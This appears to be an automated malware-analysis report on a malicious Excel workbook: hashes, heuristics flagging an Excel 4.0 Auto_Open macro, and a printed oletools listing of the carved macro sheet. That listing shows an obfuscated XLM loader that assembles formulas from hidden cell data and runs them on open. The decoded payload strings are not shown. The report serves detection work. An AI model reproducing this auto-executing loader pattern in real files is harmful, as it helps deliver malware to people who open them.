Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 11baf67364d87d76…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:44:40 Authoring application: Microsoft Excel First seen: 2021-04-10
MD5: 471587906130165bdbbb18ddee693dfb SHA-1: 603d7fa4d2448f75da8c3b7242a7e8bec8d8e9a9 SHA-256: 11baf67364d87d767c43ce3cba11882e851f42c7944be16e4152eba266d2b670
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6439 bytes
SHA-256: 190be06e872a64b9488de902e0eb12a60dee3fdade6852ee63da163a8bad9213
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     14 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  FjphR
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!I193 
' 0018     22 LABEL : Cell Value, String Constant - CSAggho len=0 
' 0018     25 LABEL : Cell Value, String Constant - EPkUagtlHa len=0 
' 0018     25 LABEL : Cell Value, String Constant - hEYUjvaxtJ len=0 
' 0018     21 LABEL : Cell Value, String Constant - ICDOig len=0 
' 0018     26 LABEL : Cell Value, String Constant - iXSsBCznsuX len=0 
' 0018     24 LABEL : Cell Value, String Constant - mVYWofPRS len=0 
' 0018     23 LABEL : Cell Value, String Constant - NFHOxpcg len=0 
' 0018     24 LABEL : Cell Value, String Constant - OLRrLHMpf len=0 
' 0018     25 LABEL : Cell Value, String Constant - pCLImLAkCq len=0 
' 0018     21 LABEL : Cell Value, String Constant - SpkYSW len=0 
' 0018     22 LABEL : Cell Value, String Constant - SwvftPi len=0 
' 0018     21 LABEL : Cell Value, String Constant - tvfTLv len=0 
' 0018     23 LABEL : Cell Value, String Constant - uquCsker len=0 
' 0018     21 LABEL : Cell Value, String Constant - VJPsXO len=0 
' 0018     26 LABEL : Cell Value, String Constant - wjMhFKEZKdp len=0 
' 0018     21 LABEL : Cell Value, String Constant - xNvCFH len=0 
' 0018     25 LABEL : Cell Value, String Constant - yNSlqsFtBk len=0 
' 0018     22 LABEL : Cell Value, String Constant - YrRHZhe len=0 
' 0018     26 LABEL : Cell Value, String Constant - zaDwWxpVsrG len=0 
' 0018     27 LABEL : Cell Value, String Constant - ZGOBXImGoKwp len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  FjphR,I96,"SET.NAME("CSAggho",VALUE("0"))",""
'  FjphR,I98,"SET.NAME("mVYWofPRS",CSAggho)",""
'  FjphR,I100,"SET.NAME("ICDOig",CSAggho)",""
'  FjphR,I102,"SET.NAME("iXSsBCznsuX",COUNTA(EPkUagtlHa))",""
'  FjphR,I107,"SET.NAME("pCLImLAkCq",COUNTA(VJPsXO))",""
'  FjphR,I112,[],""
'  FjphR,I116,"SET.NAME("wjMhFKEZKdp","")",""
'  FjphR,I121,"mVYWofPRS",""
'  FjphR,I126,"SET.NAME("OLRrLHMpf",HLOOKUP("*",EPkUagtlHa,mVYWofPRS,FALSE))",""
'  FjphR,I131,"NFHOxpcg",""
'  FjphR,I136,"SET.NAME("hEYUjvaxtJ",CSAggho)",""
'  FjphR,I139,[],""
'  FjphR,I143,"hEYUjvaxtJ",""
'  FjphR,I145,"YrRHZhe",""
'  FjphR,I147,"zaDwWxpVsrG",""
'  FjphR,I152,"xNvCFH",""
'  FjphR,I155,"SET.NAME("yNSlqsFtBk",VALUE(HLOOKUP("*",VJPsXO,xNvCFH,FALSE)))",""
'  FjphR,I160,"ZGOBXImGoKwp",""
'  FjphR,I162,"wjMhFKEZKdp",""
'  FjphR,I164,"ICDOig",""
'  FjphR,I168,NEXT(),""
'  FjphR,I173,"tvfTLv",""
'  FjphR,I176,"SET.NAME("f",INT(T(FORMULA(T(wjMhFKEZKdp)&"",""&T(tvfTLv)))))",""
'  FjphR,I180,"uquCsker",""
'  FjphR,I184,NEXT(),""
'  FjphR,I189,RETURN(),""
'  FjphR,I219,"SET.NAME("SwvftPi",I96)",""
'  FjphR,I224,"EPkUagtlHa",""
'  FjphR,I226,"SET.NAME("VJPsXO",R76C12)",""
'  FjphR,I228,"SET.NAME("uquCsker",236)",""
'  FjphR,I233,"SET.NAME("SpkYSW",9)",""
'  FjphR,I235,SwvftPi(),""
'  FjphR,I236,HALT(),""

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